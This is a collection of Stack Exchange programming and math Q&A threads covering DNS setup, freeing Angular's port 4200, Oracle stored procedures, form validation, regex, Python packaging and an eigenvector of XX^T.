text:
Q: ERR_NAME_NOT_RESOLVED while trying to set up AWS to point to Heroku When I head over to example.com in a web browser, I get ERR_NAME_NOT_RESOLVED.
$ host example.com
Host example.com not found: 3(NXDOMAIN)
$ host www.example.com
Host www.example.com not found: 3(NXDOMAIN)

Here's what I've done.
I've followed the instructions on Heroku's webpage.
I'm trying to point example.com -> example.herokuapp.com.
Heroku seems to be set up properly.
$ heroku domains
=== example Domain Names
example.herokuapp.com
example.com
www.example.com

In S53, there's an A-level ALIAS for s3-website-us-west-2.amazonaws.com., the S3 Bucket. The S3 bucket, named example.com, has enabled Properties > Static Website Hosting > Redirect all requests to another host name > www.example.com . So A-level should redirect to www.example.com.
In S53, www.example.com has a CNAME -> example.herokuapp.com. So that should work, too.
The four nameservers listed as NS for example.com are:
ns-618.awsdns-13.net.
ns-1481.awsdns-57.org.
ns-1908.awsdns-46.co.uk.
ns-239.awsdns-29.com.

When I head over to Registered Domains, the nameservers there for the domain are the exact same.
At this point, I have no idea where to start troubleshooting. Have I missed something glaringly obvious? How can I try to figure out where the problem is?

A: It works now, about 24 hours later. I'm not sure what happened.
Maybe it just needed time for the nameservers to flush.


text:
Q: "Port 4200 is already in use" when running the ng serve command I am learning angular 2 and for the first time I am using the angular CLI project to create a sandbox project.
I was able to run the command "ng serve" and it works great. I wanted to stop it from running so I ran "Control Z".
When I tried to run the "ng-serve" command again it gives me "Port 4200 is already in use."
I ran "PS" to get a list of the PID and killed the PID for the angular-cli and ran "ng-serve" again still it gives the same port in use error.

A: In summary there are more than one solution :
1 ) By using another port to define port number ,
ng serve --open --port 4201

2) by killing the process
ctrl + c // for kill
Close all node terminal which is related for running the app.

3) Type
netstat -a -n -o
in command prompt
   then find the related port PID and kill it by
taskkill /F /PID (pid number)
4) Type netstat -ano|findstr :4200
took the foreign address PID which contain the port number and then kill it by
taskkill /PID (pid number)/F

A: For Windows:
Open Command Prompt and
type: netstat -a -o -n
Find the PID of the process that you want to kill.
Type: taskkill /F /PID 16876
This one 16876 - is the PID for the process that I want to kill - in that case, the process is 4200 - check the attached file.you can give any port number.

Now, Type : ng serve to start your angular app at the same port 4200

A: I am sharing this as the fowling two commands did not do the job on my mac:
sudo kill $(sudo lsof -t -i:4200)

sudo kill `sudo lsof -t -i:4200`

The following one did, but if you were using the integrated terminal in Visual Code, try to use your machine terminal and add the fowling command:
lsof -t -i tcp:4200 | xargs kill -9

A: Right now you can set --port 0 to get a free port.
ng serve --port 0 // will get a free port for you

A: netstat -anp | grep ":4200"

This will tell you who's got the port.

A: We can forcefully kill the port by following command.
kill -2 $(lsof -t -i:4200)

A: The most simple one line command:
 sudo fuser -k 4200/tcp

A: VScode terminal in Ubuntu OS use following command to kill process
lsof -t -i tcp:4200 | xargs kill -9

A: ng serve --port 4201 --live-reload-port 4200

and access using localhost:4201
This should work as a temporary solution.
or
try listing port usage using
lsof -i:4200
and kill it manually using
sudo kill -9 <Process PID using port 4200>

A: With ctrl + z you put the program in the background.
On Linux you can get the session back in the foreground with the following command:
fg ng serve
You don't need to kill the process.

A: To stop all the local port running in windows, use this simple comment alone instead searching  for pid separatly using netstat,
It find all the pid and stop the local port which is currently running,
taskkill /im node.exe /f

A: Port 4200 is already in use.Use -port to specify a different port error Reasons
An existing application(not angular) in your system using the port number 4200. This is a very rare scenario. In this case, you need to change the port number of angular application as mentioned below.
You already ran ng serve and to exit the application you typed Control Z (Ctrl+Z), And then you typed ng serve then you will get port 4200 is already in use_ error. In this case, you need to kill the previous process.
To change the port number for our angular application use the below command
ng serve --port 4201

Now type ng serve
Our angular application will be running on http://localhost:4201
To fix port 4200 is already in use error in In Mac & Linux OS (Ubuntu etc) use the following commands
sudo kill $(sudo lsof -t -i:4200) Or
sudo kill `sudo lsof -t -i:4200` Or
sudo lsof -t -i tcp:4200 | xargs kill -9

In Window operating system open command prompt. Use the following command to fix port 4200 is already in use error.
netstat -a -n -o | findStr "4200"`

Take the process id and kill the process using the following command
taskkill -f /pid 11128

A: This is what I used to kill the progress on port 4200
For linux users:
sudo kill $(sudo lsof -t -i:4200)

You could also try this:
sudo kill `sudo lsof -t -i:4200`

For windows users:
Port number 4200 is already in use. Open the cmd as administrator. Type below command in cmd:
netstat -a -n -o

And then, find port with port number 4200 by right click on terminal and click find, enter 4200 in "find what" and click "find next":
Let say you found that port number 4200 is used by pid 18932. Type below command in cmd:
taskkill -f /pid 18932

For UNIX:
alias ngf='kill -9  $(lsof -t -i:4200);ng serve'

Now run ngf (instead of ng serve) in terminal from the project folder. This will kill all processes using the port 4200 and runs your Angular project.

A: Do not use ctrl+Z, to stop the process you must use ctrl+C

A: Just restart the IDE you are using, then it will work.

A: In my case none of the above mentioned worked.
UBUNTU 18.04 VERSION
Below command worked.
sudo kill -9 $(lsof -i tcp:4200 -t)

A: With these three commands:

*

*netstat -anb | findstr 4200

*netstat -anbo | findstr 4200

*taskkill -f /pid 22416

Cmd => should be run as an administrator
First: check if it is listening or not
C:\Windows\system32>netstat -anb | findstr 4200

Output:
TCP  127.0.0.1:4200     0.0.0.0:0      LISTENING

Second: Find IP
C:\Windows\system32>netstat -anbo | findstr 4200

Output:
TCP    127.0.0.1:4200     0.0.0.0:0    LISTENING    22416

Third: kill the port
C:\Windows\system32>taskkill -f /pid 22416

SUCCESS: The process with PID 22416 has been terminated.

You should find your own pid;

A: If you have npm installed, which I assume you have if you are using angular, then you can simply run npx kill-port 4200. That's it.

A: Use this command to kill ng:
pkill -9 ng

A: Open your cmd.exe as administrator,
then Find the PID of port 4200
netstat -ano | findstr :4200

Here i have 3 PID :

*

*Red one is from "ng-serve" (127.0.0.1:4200) that LISTENING

*Green one is from "your browser"

kill only port 4200 (kill the red PID):
taskkill /PID 15940 /F

note : kill the green one will only lead your browser closed by force.

now you can do "ng-serve" to start your angular app at the same port 4200

Additional Stuff :
One liner : After looking a way to optimize this, Here is the One-liner command of this answer : (special thanks to : Josep Alsina for this tips)
for /f "tokens=5" %a in ('netstat -ano ^| find "4200" ^| find "LISTENING"') do taskkill /f /pid %a

A: When you use Ctrl+Z, you are going to suspend a running task but not to kill it. You can later use command fg to resume the task.
If you want to quit ng serve, you should use Ctrl+C instead, in which will also release the 4200 port.

A: It says already we are running the services with port no 4200 please use another port instead of 4200. Below command is to solve the problem

ng serve --port 4300

A: If you are using VSCode, you have the option to kill terminal and add a new terminal. Close the tab and open a new tab. It worked for me.
Edited:
Use ctrl+c and press y. With out killing terminal also, You can proceed.
If you want to open a new instance of visual studio and run a different application , you can use ng serve --port 4401.

A: ng serve --port <YOUR_GIVEN_PORT_NUMBER>
You should try above command to run on your given port.

A: On Mac OS X you need the following command:
sudo lsof -t -i tcp:4200 | xargs kill -9
Remember you need to kill Angular's web server with Command+C.

A: You can also try with this to run your application in visual studio code -:
ng serve --open --port 4201

you can give any port number.

A: It is possible to change port in .angular-cli file. For example:
"defaults": {
    "styleExt": "css",
    "component": {},
    "serve": {
      "port": 4205
    }
  }

In addition, it is necessary to add this to your package.json:
"ng": "ng",
"start": "ng serve"

A: Instead of killing the whole process or using ctrl+z, you can simply use ctrl+c to stop the server and can happily use ng serve command without any errors or if you want to run on a different port simply use this command ng serve --port portno(ex: ng serve --port 4201).

A: Port 4200 is already in use. Use '--port' to specify a different port

This means that you already have another service running on port 4200. If this is the case
you can either . shut down the other service. use the --port flag when running ng
serve like this:
 ng serve --port 9001

Another thing to notice is that, on some machines, the domain localhost may not work.
You may see a set of numbers such as 127.0.0.1. When you run ng serve it should show
you what URL the server is running on, so be sure to read the messages on your machine
to find your exact development URL.

A: you can use fuser -k 4200/tcp if it is Linux Operating system

A: Kill process and close the terminal which you used for running the app on that port.

A: For Ubndu 18.04
sudo lsof -t -i tcp:3000 | xargs kill -9
Its happen when port was unsucessfully terminated
so  this  command will terminat it 4200 or 3000 or3300 any

A: It seems like another program is using your default port 4200. Good thing is, ports above 4200 are usually free. Just pick another one. For example:
ng serve --port 4210

A: On my Ubuntu i had typo crl+z to close terminal and after that i couldn't acces localhost:4200. The only solutin was to do:
$ sudo fuser -k 4200/tcp
and after that restart the server.

A: I also faced the same error msg, so i tried ng serve --port 12012 and it worked fine.

A: If you compiling your angular JS code in both CMD and IDE then this issue occur. In CMD, your angular JS code compile automatically whenever you change your angular JS code in IDE and then your IDE want to occupy the same port i.e 4200 which is occupied by CMD already
So, there is a simple solution for this issue, just close your cmd while compiling your code in IDE.

A: I was facing the same issue every time I have to kill the port.
I tried ./node_modules/.bin/ng serve --proxy-config proxy.conf.json --host 0.0.0.0 Instead of npm start and its works

A: On linux mint 17,  this is working.
kill -9 $(lsof -t -i:4200)

A: netstat -plnet
tcp        0      0 127.0.0.1:4200          0.0.0.0:*               LISTEN      1001       63955       7077/ng
kill -9 7077
again start your ng serve.

A: In Windows; In command prompt which is running your ng serve just click and press keys:
ctrl + c

It will ask you: Terminate batch job (Y/N)?
and you type Y

A: As first step after any changes, I use ng build, then ng serve. It works without any problems.

A: Only thing that works for me is to restart my system / device...
Using Webstorm IDE by JetBrains.

A: I too faced similar problem and problem was basically that I had opened multiple running terminals in powershell. So make sure you Ctrl+c all others.

A: I had big troubles with this, and I was even trying with many others ports and nothing.
I did npm install typescript@2.8 and it solved the problem. For some reason the typescript version was causing a conflict and using yarn or ng serve were not working.
hope this works for anyone else with the same issue.

A: To fix this issue in Windows OS, open Task Manager, and terminate the process.
TaskManager

A: close the command prompt (cmd) then use text editor terminal or use only cmd to run commands.
in my case this is the problem and how i solved it.
most of the time you are created angular app using command prompt. then you trying to run the app terminal in inside of the text editor. whenever you trying to save you can see some stuff running on the windows command prompt. so just close it and run the command in the terminal of the text editor.

A: For windows users:
step 1.Port number 4200 is already in use. Open the cmd as administrator. Type below command in cmd:
netstat -a -n -o

enter image description here
Find the PID of the process that you want to kill.
step 2.command in cmd:
taskkill /F /PID 6500

step 3: Now, Type :
ng serve to start your angular app at the same port 4200

A: ng serve --open

assigns a local host to host the project.On running the same command in same directory the system assigns localhost:port where port is already in use. To override this issue one can easily run the following command:
ng serve --port

this will assign a new port for the project without disturbing the present local host port.

A: For me, this cmd worked Ubuntu
sudo fuser -k 4200/tcp for killing other ports

A: ng serve --port 122345 is worked fine for me.

A: To Access project outside localhost
Example:
ng serve --host 192.168.2.2:7006

redpajama_set_name: RedPajamaStackExchange


text:
Q: Is it possible to use commandType = text to call a stored procedure using System.Data.OracleClient I am using System.Data.OracleClient to connect to an Oracle database using Enterprise library and I would like to call a stored procedure using the commandType = Text as follows:
Microsoft.Practices.EnterpriseLibrary.Data.Database database = null;

database = DatabaseFactory.CreateDatabase("DbInstanceName");
System.Data.Common.DbConnection conn = database.CreateConnection();

conn.Open();

commandObj = database.GetSqlStringCommand("execute procName('paramValue1','paramValue2')");
commandObj.CommandType = CommandType.Text;
commandObj.Connection = conn;

returnCode = database.ExecuteNonQuery(commandObj);

I keep getting an invalid SQL statement error and would like to know if it is possible to use CommandType.Text for a stored procedure call into Oracle.
We cannot use the CommandType = StoredProcedure because the command string passed in includes all the parameter values to the stored procedure call within the string. If this is not possible, I would have to parse out each of the parameter values from the string and put them into parameter objects.

A: This is possible. I found my problem to be the "execute" statement. This is not needed for Oracle stored procs.


text:
Q: Download a file from REST API with Restangular request I've got a simple node.js + Restify backend with standard CORS settings and this endpoint:

var file = '1,5,8,11,12,13,176,567,9483';

server.get('/download', function(req, res, next) {
  res.set({"Content-Disposition": "attachment; filename='numbers.csv'"});
  res.setHeader("Content-type", "text/csv");
  res.send(file);
  return next();
}, function(err) {
  res.send(err);
});

What it's suppose to do is to is to create CSV file and return it.
It works great when I simply type in the endpoint address to web browser and hit enter. The file gets downloaded properly.
But when I try to do the same thing, but instead of using browser's address bar I use Restangular like that:

Restangular.one('download').get().then(function (res) {
    console.log(res);
});

it just writes response to console, but no file is being downloaded.
Is there a way to do this using Restangular? Or maybe I need to use something else for this?

A: I am not sure if Restangular can do that, but I am using FileSaver script for stuff like that. Add Filesaver to your HTML head and then:
Restangular.one('download').get().then(function (res) {
    var file = new Blob([res], { type: 'text/csv' });
    saveAs(file, 'something.csv');
});


text:
Q: Multiple open graph tags, which one is prioritized? I've seen various SO threads about FB open graph image tags such as this: Facebook multiple og:image tags - Which is Default?
These threads are 2.5 years old so I'm wondering if the rules have been updated. Also, the accepted answer of the highest resolution image being the one displayed seems imperfect. What if the images aren't the same? For example, how to have one image for the homepage and then a different one on AJAX loaded pages?
As these rules are used by FB, Reddit and many high-traffic sites obviously this information is very valuable. Thanks!

A: Since reddit is open-source, you can look at see what its behavior is.
The place you want to look is _find_thumbnail_image().  Right now, this is the code that pertains to Open Graph:
    # Allow the content author to specify the thumbnail using the Open
    # Graph protocol: http://ogp.me/
    og_image = (soup.find('meta', property='og:image') or
                soup.find('meta', attrs={'name': 'og:image'}))
    if og_image and og_image['content']:
        return og_image['content'], None
    og_image = (soup.find('meta', property='og:image:url') or
                soup.find('meta', attrs={'name': 'og:image:url'}))
    if og_image and og_image['content']:
        return og_image['content'], None

So, it'll use whatever Beautiful Soup's find() method returns, which should be the first matching tag.


text:
Q: How to login into a computing node within a `SGE` cluster using ssh terminal? I have the privilege to login into a submitting node in a SGE cluster. But I found I couldn't login into any computing node in the same SGE cluster. I have searched in Google and have been confirmed that in the network of computing nodes, it would have ssh right to connect between each two node of this network, then the job would run with the MPI environment. So why couldn't I connect anyone of the computing nodes using ssh terminal? When I tried to connect, the error message is ssh_exchange_identification: Connection closed by remote host. Is it because that the configuration have prevented the common user to do this operation?

A: Try qrsh -q \*@hostname. Replace the hostname with the actual hostname.


text: Q: How can i what line javascript trigger a post request? Now I have a html page . It will send a post request to an url in loading. But I don't known which one DOM element trigger the event. What can I do ? I use chrome.


text:
Q: How to Create Subdomains with CakePHP? Does anyone know how to create a subdomain with cakephp? For example:
www.domain.com/subdomainname like this without any additional characters attached to the subdomainname.

A: A subdomain is like this: subdomain.domain.com
You can't do that with CapePHP, you will have to configure your web server with something like cPanel
If you mean www.domain.com/view/12 instead of www.domain.com/view.php?id=12  that is called mod rewriting and is done with a combination of webserver configuration and setting up a routes.php file in CakePHP


text:
Q: Unable to replace LF in notepad++ I am unable to replace LF in notepad++.
Below are the steps I did
ctrl+f
Replace tab
find what      -\n
replace with   - ~
Though I have many line feeds which I can see when I go to view-show symbols, ctrl f is  not finding them, what could be the reason.
Thanks

A: When you press Ctrl + F and go to the Replace tab make sure that you have selected "Extended" in the Search Mode options.

A: Depending of the source of your file there might be different encodings for a new line
Newline
If you are working on windows most likely \r\n with enhanced search mode should work.


text:
Q: Codeigniter search + page number I am using the pagination function in codeigniter, and I want to use a search function to search through the table + I want the searched word to be remembered when you go to another page. So it will go to page 2 of the new results with the searched word if I click on page 2.
How would I do this in the url?
For example this is my url
http://example.com/cars/blue/10

But it could also be this if search is left blank
http://example.com/cars/10

How would I handle this in the model or controller?


text:
Q: How to show either spinner or animated gif on button click until message displayed? From the below code, I want to display either loading spinner or any animated gif until myMessage should be displayed on clicking of Submit button on timeout. How can I do this, please let me know and thanks in advance !
Html:

  <input type="text" id="inputId" ng-model="enteredMessage"
autofocus/>

  <button type="button"  ng-click="myFunction(enteredMessage)">Submit</button>
  Entered: {{myMessage}}

js:
var myApp = angular.module('myApp',[]);
  myApp.controller('Controller',['$scope','$timeout', function ($scope, $timeout) {
    $scope.myFunction = function(enteredTextMessage){
      $timeout(function() {
        //I need to show the spinner for three seconds until my myMessage loading/displaying complete
        $scope.myMessage = enteredTextMessage;
      }, 3000);
    }
  }
]);

Fiddle.

A: Here is the code that works. You just need to add a ng-show or ng-hide on the font awesome icon and call change the value accordingly.
HTML

<input type="text" id="inputId" ng-model="enteredMessage"
autofocus/>

  <button type="button"  ng-click="myFunction(enteredMessage)">Submit</button>
  Entered: {{myMessage}}

Controller
angular.module('app',[]).controller('mainCtrl', function($scope, $timeout){
    $scope.showSpinner = false;
    $scope.myFunction = function(enteredTextMessage){
      $timeout(function() {
        //I need to show the spinner for three seconds until my myMessage loading/displaying complete
        $scope.showSpinner = false;
        $scope.myMessage = enteredTextMessage;
      }, 3000);
      $scope.showSpinner = true;
    }
})

Here is the link to JSFIDDLE for demonstration as stackoverflow's code snippet is not supporting the css link to font awesome.


text:
Q: How to create Jar library file which automatically creates rest api endpoints to a spring boot application? I want to create a library jar file. When I bring that to a spring-boot application it should make the application to have Rest API endpoints, without adding any @RestController to the spring-boot application.
For example, I want to create custom-oauth.jar library. When I include the custom-oauth.jar to the spring-boot application, the application should have http://localhost/token and http://localhost/validate ... etc.
I know this is a very common case for spring applications, and there are so many jar files which does this, but I can't find how to implement that in the Spring documentation.
Where should I start reading and what tools I should use?

A: The most straightforward way to do this in a Boot application is to write your own autoconfiguration module. In short, you create one or more "bootstrap" @Configuration classes and list them in META-INF/spring.factories. They can then do whatever sort of operations you'd normally do (like registering @Beans or @ComponentScans for controller classes included in the jar).


text:
Q: How to create forms with MUI (material ui) Hiho,
I want to use mui in my current react project. Is there a different/better way to create forms than the following example?:
    const [companyName, setCompanyName] = useState<string>("");
    const [companyNameError, setCompanyNameError] = useState<boolean>(false);
    const changeName = (event: React.ChangeEvent<HTMLInputElement>) => {
        if(event.target.value === "") {
            setCompanyNameError(true);
        } else {
            setCompanyNameError(false);
        }

        event.preventDefault();
        setCompanyName(event.target.value);
    }

    const anyInputFieldEmpty = () => {
        var result = false;

        if(companyName === "") {
            setCompanyNameError(true);
            result = true;
        } else {
            setCompanyNameError(false);
        }

        // add the same check for all other fields. My real code has multiple input fields

        return result;
    }

    const resetFields = () => {
        setCompanyName("");
    }

    return (

            <TextField
                required
                fullWidth
                label="Company Name"
                margin="dense"
                name="companyName"
                value={companyName}
                onChange={changeName}
                helperText={companyNameError ? "Company name is not allowed to be empty!" : ""}
                error={companyNameError}
            />

            <Button
                sx={{ alignSelf: 'center', }}
                variant="contained"
                onClick={() => {
                    if(!anyInputFieldEmpty()) {
                        onSubmitClick(); // some function from somewhere else, which triggers logic
                        resetFields(); // This form is in a popover. The values should be resetted before the user open it again.
                    }
                }}
            >
                Create
            </Button>

);

It feels wrong to do the validation this way if I use multiple textfields (up to 9). Its a lot of boilerplate code and if I add further validation rules (for example a minimum character count) it goes crazy.
Is this the right way to achive my goal?
T

A: I think you should check the Formik for hook-based validation and jsonforms, react-declarative from json-schema based view creation

Less code solutions is better on production, but for a learning reason it better to write real code based on hooks, contexts or redux reducers

import { useState } from "react";

import { One, FieldType } from "react-declarative";

const fields = [
  {
    type: FieldType.Text,
    title: "First name",
    defaultValue: "Peter",
    name: "firstName"
  },
  {
    type: FieldType.Text,
    title: "Age",
    isInvalid: ({ age }) => {
      if (age.length === 0) {
        return "Please type your age";
      } else if (parseInt(age) === 0) {
        return "Age must be greater than zero";
      }
    },
    inputFormatterTemplate: "000",
    inputFormatterAllowed: /^[0-9]/,
    name: "age"
  }
];

export const App = () => {
  const [data, setData] = useState(null);

  const handleChange = (data) => setData(data);

  return (
    <>
      <One fields={fields} onChange={handleChange} />

{JSON.stringify(data, null, 2)}

    </>
  );
};

export default App;

An example project could be found on this codesandbox

A: As others have mentioned. Formik and Yup works great for validation. Formik also provides a way to easily disable your submit buttons. Here is a codesandbox : https://codesandbox.io/s/long-butterfly-seogsw?file=/src/App.js

A: MUI does not have a native form validator
i recommend using react-hook-form + yup it's pretty simple and has a lot of tutorials
https://react-hook-form.com/get-started
EXEMPLE
TextFieldComponent
import { OutlinedTextFieldProps } from '@mui/material';
import React from 'react';
import { Control, useController } from 'react-hook-form';
import { InputContainer, TextFieldStyled } from './text-field.styles';

export interface TextFieldProps extends OutlinedTextFieldProps {
  control: Control;
  helperText: string;
  name: string;
  defaultValue?: string;
  error?: boolean;
}
export const TextField: React.FC<TextFieldProps> = ({
  control,
  helperText,
  name,
  defaultValue,
  error,
  ...rest
}) => {
  const { field } = useController({
    name,
    control,
    defaultValue: defaultValue || ''
  });
  return (
    <InputContainer>
      <TextFieldStyled
        helperText={helperText}
        name={field.name}
        value={field.value}
        onChange={field.onChange}
        fullWidth
        error={error}
        {...rest}
      />
    </InputContainer>
  );
};

Styles
import { TextField } from '@mui/material';
import { styled } from '@mui/material/styles';

export const TextFieldStyled = styled(TextField)`
  .MuiOutlinedInput-root {
    background: ${({ theme }) => theme.palette.background.paper};
  }
  .MuiInputLabel-root {
    color: ${({ theme }) => theme.palette.text.primary};
  }
`;

export const InputContainer = styled('div')`
  display: grid;
  grid-template-columns: 1fr;
  align-items: center;
  justify-content: center;
  width: 100%;
`;

export const InputIconStyled = styled('i')`
  text-align: center;
`;

Usage
// Validator
const validator = yup.object().shape({
  email: yup
    .string()
    .required(translate('contact.email.modal.email.required'))
    .email(translate('contact.email.modal.email.invalid')),
});

// HookForm
const {
    control,
    handleSubmit,
    formState: { errors }
  } = useForm({
    resolver: yupResolver(validator)
});

// Compoenent
<TextField
          label="label"
          fullWidth
          placeholder="placeholder
          size="small"
          control={control}
          helperText={errors?.name?.message}
          error={!!errors?.name}
          name={'name'}
          variant={'outlined'}
        />


text:
Q: Regex: decimal positive numbers accepted, but not starting with point I'm quite new with regular expression, i'm using it in angularjs.
I need to check an input field, and I need to accept only positive decimal values with no more than 3 digits after the point:
3
3.5
3.567
0.236

and reject values like
0
0.
.
.6
.635
3.6589

I tried this regexp:
var result = /([1-9]\d*)\.(\d{1,3})/.test(value) || /[1-9]\d*(?=\s|$)/.test(value);

and more or less it works, but still

*

*it accepts values with more than 3 digits after the point, like 45.9876

*it accepts .356 values (a number starting with . )

what I'm missing?


text:
Q: pyproject.toml with extra source from Rospypi - "Could not find a version..." I am trying to create a pyproject.toml that also installs some ROS packages as extras from https://rospypi.github.io/simple/.
In my first explorations, installation via pip install --extra-index-url https://rospypi.github.io/simple/ rospy rosbag worked perfectly.
Now, I would like to specify a pyproject.toml which installs these dependencies via extra sources.
Here's my (abbreviated) pyproject.toml:
[build-system]
requires = ["poetry-core>=1.0.0"]
build-backend = "poetry.core.masonry.api"

[tool.poetry]
name = "myproject"
version = "0.0.1"
description = "..."
license = "MIT"
# more of this here ...

[tool.poetry.dependencies]
python = "^3.7"
click = "*"
numpy = "*"
pandas = "*"

# Tests
pytest = {version = "*", optional = true }

# ros-stuff
matplotlib = {version = "*", optional = true }
geopandas = {version = "*", optional = true }
rospy = {version="*",  optional = true, source="rospypi"}
rosbag = {version="*", optional = true, source="rospypi"}

[tool.poetry.extras]
test = ["pytest"]
ros = [
    "matplotlib",
    "geopandas",
    "rospy",
    "rosbag"
]

[[tool.poetry.source]]
name = "rospypi"
url = "https://rospypi.github.io/simple/"
secondary = true

Now, I can create a new project and venv and install this project as dependency via pip install ~/path/to/myproject. It installs fine, including all dependencies.
However, when I try to pip install ~/path/to/myproject[ros], I see the following output:
Processing /Users/myself/path/to/myproject
  Installing build dependencies ... done
  Getting requirements to build wheel ... done
  Preparing metadata (pyproject.toml) ... done
Requirement already satisfied: pandas in ./venv/lib/python3.9/site-packages (from frenetic==0.0.1) (1.4.3)
... (shortened) ...
Collecting matplotlib
  Using cached matplotlib-3.5.2-cp39-cp39-macosx_10_9_x86_64.whl (7.3 MB)
ERROR: Could not find a version that satisfies the requirement rospy; extra == "ros" (from myproject[ros]) (from versions: none)
ERROR: No matching distribution found for rospy; extra == "ros"

So far, I tried playing with the "rospypi" definition (values of url, secondary, default), changing values of rospy/rosbag's optional, and a few other things. Unfortunately to no luck.
PS: I use poetry, since as far as I understand, setuptools does not allow for definition of additional sources at all. However, I am happy to switch to any build system that will make this work.


text:
Q: jQuery - how can I stop slide up/down behaviour while clicking I've made a jQuery Slide up/down Nav.Menu. You can See it here:
<pre>[http://jsfiddle.net/mobilat/d4L0z7fa/][1]</pre>

The panel open/close if You click on the first 'MainNav1'. Everything is fine.
But if You'll click on MainNav1 and after it, at MainNav2 ans  ..3 .. all panels will be open.
The first panel/flyout should be closed, before another panel/flyout will be open.
I have no idea, how can I solve the problem.
Thanks for your tips/help.
    Link

A: I am resetting the slidedown class before toggling:
    if ($('#Slider' + index).hasClass("slideup")) {

        // .slideup any .slidedown divs
        $('.slidedown').removeClass("slidedown").addClass("slideup");

        $('#Slider' + index).removeClass("slideup").addClass("slidedown");
    } else {
        $('#Slider' + index).removeClass("slidedown").addClass("slideup");
    }

http://jsfiddle.net/d4L0z7fa/10/

A: I've added code to look for elements with IDs starting with "Slider" and the class "slidedown" and then made them slideup. Works nicely.
$( 'li.noLinkTrigger' ).each(function( index ) {

   $(this).addClass('item-' + index);

//  console.log( index + ": " + $( this ).text() );

  $( this ).click(function() {
        //$(this).addClass( "foo" );
        //e.preventDefault();
        if ($('#Slider' + index).hasClass("slideup"))
        {
            $('.slidedown').removeClass('slidedown').addClass('slideup');
            $('#Slider' + index).removeClass("slideup").addClass("slidedown");
        }
        else
        {
            $('#Slider' + index).removeClass("slidedown").addClass("slideup");
        }
  });

});

http://jsfiddle.net/d4L0z7fa/11/


text:
Q: A square matrix (XX^T) made from column vector X always has an eigen vector as X I was asked in an interview that

Given a column vector $X$ of order $n\times1$, when we obtain the matrix $XX^T$ (order $n\times n$), give at least one of the eigenvectors of the matrix $XX^T$ without any calculation, just by looking

Observing that all the columns of the matrix $XX^T$ are dependent on the column vector $X$, thus there is only one independent vector basis in the column space of $XX^T$, thus rank of $XX^T$ is $1$. Hence in row echelon form of $XX^T$, there is only one row and thus, $XX^T$ has $n-1$ eigenvalues as $0$ and one eigenvalue is non-zero.
With their help I was able to conclude from trace property of a matrix that the non-zero eigenvalue was (sum of square of each element in column vector $X$).
But eigenvector I could not found during interview but by their surprised look, it was evident that The eigenvector was hiding in plain sight and I could not see!
Later taking examples, I found $X$ to be an eigenvector.
I could prove it by brute force taking general $(n\times1)$ column vector and then constructing $XX^T$ with all columns dependent

then the product $XX^T\times X$, will have in first row of product a multiple of first row of any of the column and similarly in all rows, and I could show that the eigenvector $X$ is corresponding to non-zero eigenvalue

But, is there a CLEAN method, like from vector spaces geometric interpretation or property of $XX^T$ or anything much more conceptual than brute force general example taking?

A: Note that for any vector $v$, $(XX^T)v=X(X^Tv)$, and $X^Tv$ is just the inner product of $X$ with $v$.  So $XX^T$ represents the following linear transformation: given a vector $v$, take its inner product with $X$ to get a scalar, and then multiply that scalar by $X$.  This makes it immediately clear that $XX^T$ has rank $1$ and that its image is the subspace spanned by $X$, and so $X$ is (up to scalar multiples) the only eigenvector with a nonzero eigenvalue.
Geometrically, if $X$ is a unit vector, then this is just the orthogonal projection onto the span of $X$: if you pick an orthonormal basis with $X$ as one of the basis vectors, then the inner product $X^Tv$ represents the coefficient of $X$ when you write $v$ in terms of this basis, and then multiplying that by $X$ gives just the $X$ term of $v$.  In general, you can think of $X$ as a unit vector scaled by some scalar $c$, and then $XX^T$ will just be the orthogonal projection onto the span of $X$ scaled by $c^2$ (since you scaled both $X$ and $X^T$ by $c$ from a unit vector).

A: By matrix associativity, $(\color{red}{X}\color{blue}{X^T})\color{limegreen}{X}=\color{red}{X}(\color{blue}{X^T}\color{limegreen}{X})=(\color{blue}{X}\cdot\color{limegreen}{X})\color{red}{X}$. Or in Einstein notation, $\color{red}{X_i}\color{blue}{X_j}\color{limegreen}{X_j}=(\color{blue}{X_j}\color{limegreen}{X_j})\color{red}{X_i}$.


text:
Q: ncap2: error while loading shared libraries: libnetcdf.so.7: cannot open shared object file: No such file or directory I tried to install nco in a remote server (RHEL 7.8) and I am not the root which means I can't use the sudo or yum in the terminal. Then I followed the instructions on the main page on nco (http://nco.sourceforge.net/src/) in which it is said pre-built way is recommended. So I used conda method. But when I used conda install -c conda-forge nco, the speed is too low. And finally I was told solving the environment is not successful. After that I searched the nco in conda, in https://anaconda.org/conda-forge/nco I was told that conda install -c conda-forge/label/broken nco would be ok. Yes the installation is completed. But when I want to use the command ncap2, I was told that
ncap2: error while loading shared libraries: libnetcdf.so.7: cannot open shared object file: No such file or directory

I checked my LD_LIBRARY_PATH, but I couldn't find the link towards libnetcdf.so.7. I used find command in order to find where the libnetcdf.so.7 is, but as you know I was operating on a server, so most access is denied. Here is my ~/.bashrc:
export PATH="/home/xushan/anaconda3/bin:$PATH"
export PATH="$PATH:/home/xushan/openmpi/bin"
#export PATH= "$HOME/openmpi/bin:$PATH"
export LD_LIBRARY_PATH="$LD_LIBRARY_PATH:/home/xushan/openmpi/lib"
export VER_MPI="NOMPI"
export LD_LIBRARY_PATH="$LD_LIBRARY_PATH:/home/xushan/SURFEX_v8_1_public/open_SURFEX_V8_1/src/LIB"
#export VER_USER="FORC"
export PATH="/home/xushan/anaconda3/bin/ncdump:$PATH"
export LD_LIBRARY_PATH="$LD_LIBRARY_PATH:/home/xushan/anaconda3/lib"

One thing it is weird is that when I ls to /usr/local/lib, there is nothing....
So is there any way to help me to complete the installation? I tried the following commands suggested in http://nco.sourceforge.net/src/:
wget https://github.com/nco/nco/archive/4.9.4.tar.gz
tar xvzf 4.9.4.tar.gz
cd nco-4.9.4
./configure --prefix=/usr/local
make
sudo make install
export PATH=/usr/local/bin\:${PATH}
export LD_LIBRARY_PATH=/usr/local/lib\:${LD_LIBRARY_PATH}

but when I run ./configure --prefix=/usr/local, I was told that
checking for /opt/local/include/netcdf.h... no
checking for /opt/local/lib/libnetcdf.a... no
checking netcdf.h usability... no
checking netcdf.h presence... no
checking for netcdf.h... no
configure: error: in `/home/xushan/nco-4.6.3':
configure: error: cannot find netCDF header
See `config.log' for more details

So is there anyone who can help me? thanks a lot! (Question is that I cannot find where the  libnetcdf.so.7 is......I am a beginner for compiling something on remote server....especially soda and yum are banned for common users....)

A: You can create a new conda environment for nco. It's possible that its dependencies clash with some programs in your current environment.
conda create -n myenv -c conda-forge python=3 nco
conda activate myenv
ncap2

